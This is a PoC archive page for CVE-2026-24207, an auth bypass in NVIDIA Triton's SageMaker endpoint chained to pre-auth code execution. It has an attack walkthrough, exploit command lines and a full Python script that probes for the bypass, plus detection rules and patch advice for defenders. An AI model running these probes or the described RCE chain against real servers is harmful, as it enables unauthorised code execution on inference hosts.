PoC Archive PoC Archive
Critical CVE-2026-24207 (sibling: CVE-2026-24206, Vertex AI, analysis only) patched

NVIDIA Triton Inference Server SageMaker Auth Bypass to Unauthenticated RCE (CVE-2026-24207)

by 4252nez (offseckit.com); original vulnerability reported by Hyeonjun Ahn (@deayzl) · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-24207 (sibling: CVE-2026-24206, Vertex AI, analysis only)
Category
network
Affected product
NVIDIA Triton Inference Server
Affected versions
<= 26.02 (v2.66.0); fixed in 26.03 (v2.67.0)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcher4252nez (offseckit.com); original vulnerability reported by Hyeonjun Ahn (@deayzl)
CVE / AdvisoryCVE-2026-24207 (sibling: CVE-2026-24206, Vertex AI, analysis only)
Categorynetwork
SeverityCritical
CVSS Score9.8 (NVIDIA CNA); not yet scored by NIST/NVD
StatusWeaponized
Tagsnvidia-triton, sagemaker, auth-bypass, rce, cwe-288, ml-inference, model-loading, pre-auth
RelatedN/A

Affected Target

FieldValue
Software / SystemNVIDIA Triton Inference Server
Versions Affected<= 26.02 (v2.66.0); fixed in 26.03 (v2.67.0)
Language / PlatformC++/Python Triton server; PoC written in Python 3 with requests
Authentication RequiredNo
Network Access RequiredYes

Summary

NVIDIA Triton Inference Server exposes separate HTTP endpoints for SageMaker and Vertex AI multi-model integration. These endpoints bypass the operator-configured --http-restricted-api access control, meaning the model-management surface (load/unload/enumerate models) remains reachable by unauthenticated network clients even when restricted-API protections are enabled on the standard HTTP port. Chained with the SageMaker Multi-Model Endpoint (MME) LOAD primitive, an attacker who can place files on a Triton-readable filesystem path can load a malicious Python-backend model, whose model.py executes as the Triton process user — resulting in pre-authentication remote code execution. The repository ships a non-destructive detector, an educational bypass demonstrator, and a full probe/RCE-chain exploit script, verified against official NVIDIA NGC containers.


Vulnerability Details

Root Cause

CWE-288 (Authentication Bypass Using an Alternate Path/Channel): the SageMaker/Vertex AI HTTP surfaces do not enforce the same --http-restricted-api authorization gate applied to the standard Triton HTTP API, leaving model-management endpoints (/models, LOAD/UNLOAD) reachable without credentials.

Attack Vector

  1. Identify a Triton Inference Server exposing its SageMaker-compatible HTTP port.
  2. Send unauthenticated requests to the model-management endpoint (no Authorization header) and confirm access where the restricted API would normally deny it.
  3. Use the SageMaker MME LOAD primitive to point Triton at an attacker-writable path containing a Python-backend model (config.pbtxt + model.py).
  4. Trigger the load; Triton executes model.py as the server process user, achieving pre-auth RCE.

Impact

Unauthenticated remote code execution as the Triton Inference Server process user on any deployment where an attacker can place model files on a Triton-readable path — a critical, pre-authentication compromise of the inference host.


Environment / Lab Setup

Target:   NVIDIA Triton Inference Server <= 26.02 (v2.66.0), official NGC container, SageMaker HTTP port exposed
Attacker: Python 3.8+, `pip install requests`

Proof of Concept

PoC Script

See detect.py, bypass_demo.py, exploit.py, and example/model/ in this folder.

1
2
3
4
python3 detect.py <host:sagemaker_port>
python3 bypass_demo.py <host:sagemaker_port>
python3 exploit.py <host:sagemaker_port>
python3 exploit.py <host:sagemaker_port> --mode rce --url /opt/ml/models/<attacker-dir> --name chaindemo

detect.py performs a read-only patch-status check; bypass_demo.py shows the authorized-vs-bypass response difference side by side; exploit.py probes the model-management surface and, in --mode rce, loads the benign Python-backend model in example/model/ from an attacker-controlled path to demonstrate code execution as the Triton process user.


Detection & Indicators of Compromise

alert http any any -> $HOME_NET any (msg:"CVE-2026-24207 Triton SageMaker unauth model API access"; ...)

Signs of compromise:

  • Unauthenticated requests to the SageMaker/Vertex AI HTTP model-management endpoints in Triton access logs
  • Unexpected LOAD/UNLOAD model events referencing unfamiliar model names or attacker-controlled filesystem paths
  • New Python-backend models appearing in /opt/ml/models/ (or configured model repository) that were not deployed through the normal CI/CD pipeline

Remediation

ActionDetail
Primary fixUpgrade to Triton Inference Server 26.03 (v2.67.0) or later, which closes the SageMaker/Vertex AI authorization bypass
Interim mitigationDisable unused SageMaker/Vertex AI compatibility endpoints; place Triton’s SageMaker HTTP port behind network-level access control (firewall/VPC) rather than relying solely on --http-restricted-api; restrict filesystem write access to model repository paths

References


Notes

Mirrored from https://github.com/offseckit/CVE-2026-24207-triton on 2026-07-05.

bypass_demo.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/env python3
"""CVE-2026-24207 — bypass mechanic demonstration.

Sends three probes to the Triton SageMaker endpoint and prints the
responses side-by-side. Demonstrates that an operator's
`--http-restricted-api=model-repository:<header>=<value>` is silently
not enforced on the SageMaker port in vulnerable builds.

No data is modified. The third probe (with the correct header) is the
authorized-baseline that shows the header is the right one.
"""
import sys

import requests

BANNER = """\
CVE-2026-24207 — bypass demonstration

Triton's --http-restricted-api config is supposed to require a specific
header on model-management endpoints. In vulnerable builds, the
SageMaker frontend (port 8080) silently ignores this restriction.

Required server config (operator side):
  tritonserver ... --allow-sagemaker=true \\
    --http-restricted-api=model-repository:<HEADER_NAME>=<HEADER_VALUE>
"""


def hit(url, headers=None):
    try:
        r = requests.get(url, headers=headers or {}, timeout=10)
        body = (r.text or "").strip()
        if len(body) > 80:
            body = body[:80] + "..."
        return r.status_code, body
    except requests.exceptions.RequestException as e:
        return None, f"{type(e).__name__}: {e}"


def main():
    if len(sys.argv) < 2:
        print(f"usage: {sys.argv[0]} <host:sagemaker_port> [header_name=header_value]",
              file=sys.stderr)
        print(f"  e.g. {sys.argv[0]} localhost:8080 X-SM-Auth=secret",
              file=sys.stderr)
        sys.exit(2)
    target = sys.argv[1]
    if len(sys.argv) > 2:
        name, _, value = sys.argv[2].partition("=")
    else:
        name, value = "X-SM-Auth", "secret"  # PR #8686 default

    print(BANNER)
    print(f"Target: http://{target}")
    print(f"Restricted header: {name}: {value}")
    print()

    probes = [
        ("health / unrestricted",
         f"http://{target}/ping",
         None,
         "always succeeds — health is intentionally unrestricted"),
        ("model list, WITH header",
         f"http://{target}/models",
         {name: value},
         "authorized baseline — must succeed (proves header is correct)"),
        ("model list, WITHOUT header",
         f"http://{target}/models",
         None,
         "PATCHED → 403 (restriction enforced); VULNERABLE → 200 (BYPASS)"),
    ]

    smuggle_code = None
    for label, url, headers, expectation in probes:
        code, body = hit(url, headers)
        if code is None:
            print(f"  {label:30} → ERROR {body}")
            continue
        print(f"  {label:30} → HTTP {code}  {body}")
        print(f"    expectation: {expectation}")
        print()
        if label.startswith("model list, WITHOUT"):
            smuggle_code = code

    if smuggle_code == 403:
        print("[+] PATCHED — SageMaker endpoint enforces the restriction.")
    elif smuggle_code in (200, 404):
        print("[!] VULNERABLE — SageMaker endpoint silently bypassed the restriction.")
    else:
        print(f"[?] UNKNOWN — unexpected status code {smuggle_code} from the smuggled probe.")


if __name__ == "__main__":
    main()